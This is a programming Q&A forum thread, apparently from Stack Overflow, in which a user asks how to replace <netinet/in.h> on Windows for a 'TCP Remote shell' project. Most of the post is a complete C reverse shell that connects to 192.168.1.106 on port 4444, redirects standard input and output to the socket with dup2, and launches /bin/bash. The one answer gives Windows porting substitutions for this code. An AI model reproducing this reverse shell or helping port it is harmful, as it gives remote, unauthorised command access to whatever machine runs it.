Jcolacs
Jcolacs

Reputation: 41

Implement <netinet/in.h> in Windows Visual Studio

I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>

Thanks for all your help!

#include <stdio.h>

#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>

int main(void) {

    int sockt;
    int port = 4444;
    struct sockaddr_in revsockaddr;

    sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");

    connect(sockt, (struct sockaddr*)&revsockaddr,
        sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char* const argv[] = {"/bin/bash", NULL };
    execve("/bin/bash", argv, NULL);

    return 0;

}

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Upvotes: 3

Views: 22508

Answers (1)

TonySalimi
TonySalimi

Reputation: 8437

Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:

  1. Instead of inet_addr you can use inet_pton that is inside the <Ws2tcpip.h> include file.
  2. Instead of dub2 use _dub2 in windows, that is inside <io.h>.
  3. instead of execve, use std::system.

Upvotes: 4

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